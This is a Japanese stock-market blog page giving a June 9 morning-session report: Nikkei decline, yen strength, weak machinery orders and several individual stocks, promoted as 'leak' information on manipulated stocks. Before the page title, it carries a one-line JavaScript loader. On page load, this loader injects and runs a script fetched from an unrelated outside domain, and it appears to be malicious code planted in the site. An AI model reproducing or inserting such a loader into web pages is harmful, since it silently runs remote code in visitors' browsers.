;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/9 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【6/9 前引け】

前場の日経平均株価は153円安と大幅反落。前日の米市場は上昇したが、寄り付き前に発表された4月の機械受注が市場予想を下回ったほか、為替相場が1ドル106円と円高に傾いていることから売りが先行。その後も円高推移が止まらず下げ幅を拡大させた。業種別では、鉱業、石油石炭製品、電気・ガス業が値上がり上位に。一方で、保険業、パルプ・紙、銀行業が値下がり上位となった。

個別では、SBIの買い増しが明らかになっている【4589】アキュセラが連日のストップ高となったほか、セキュリティ+FPGA関連+仕手株の【4736】日本ラッド。電通と業務提携締結の【3113】Oak キャピタルなどが一時ストップ高の大幅高となった。また、野村証券が同社投資判断を新規「Buy」、3,100円目標としたことが刺激となった【4593】ヘリオス。ランサーズと提携しEC事業者向けマーケティング支援サービス提供の【3134】Hameeなどの上昇も目立っている。
機械受注の悪化、円高が主な原因の動きだが他はSQを意識した動きも。後場も引き続き為替動向睨みの展開。SQを意識した仕掛け的な売買にも引き続き警戒しておきたい。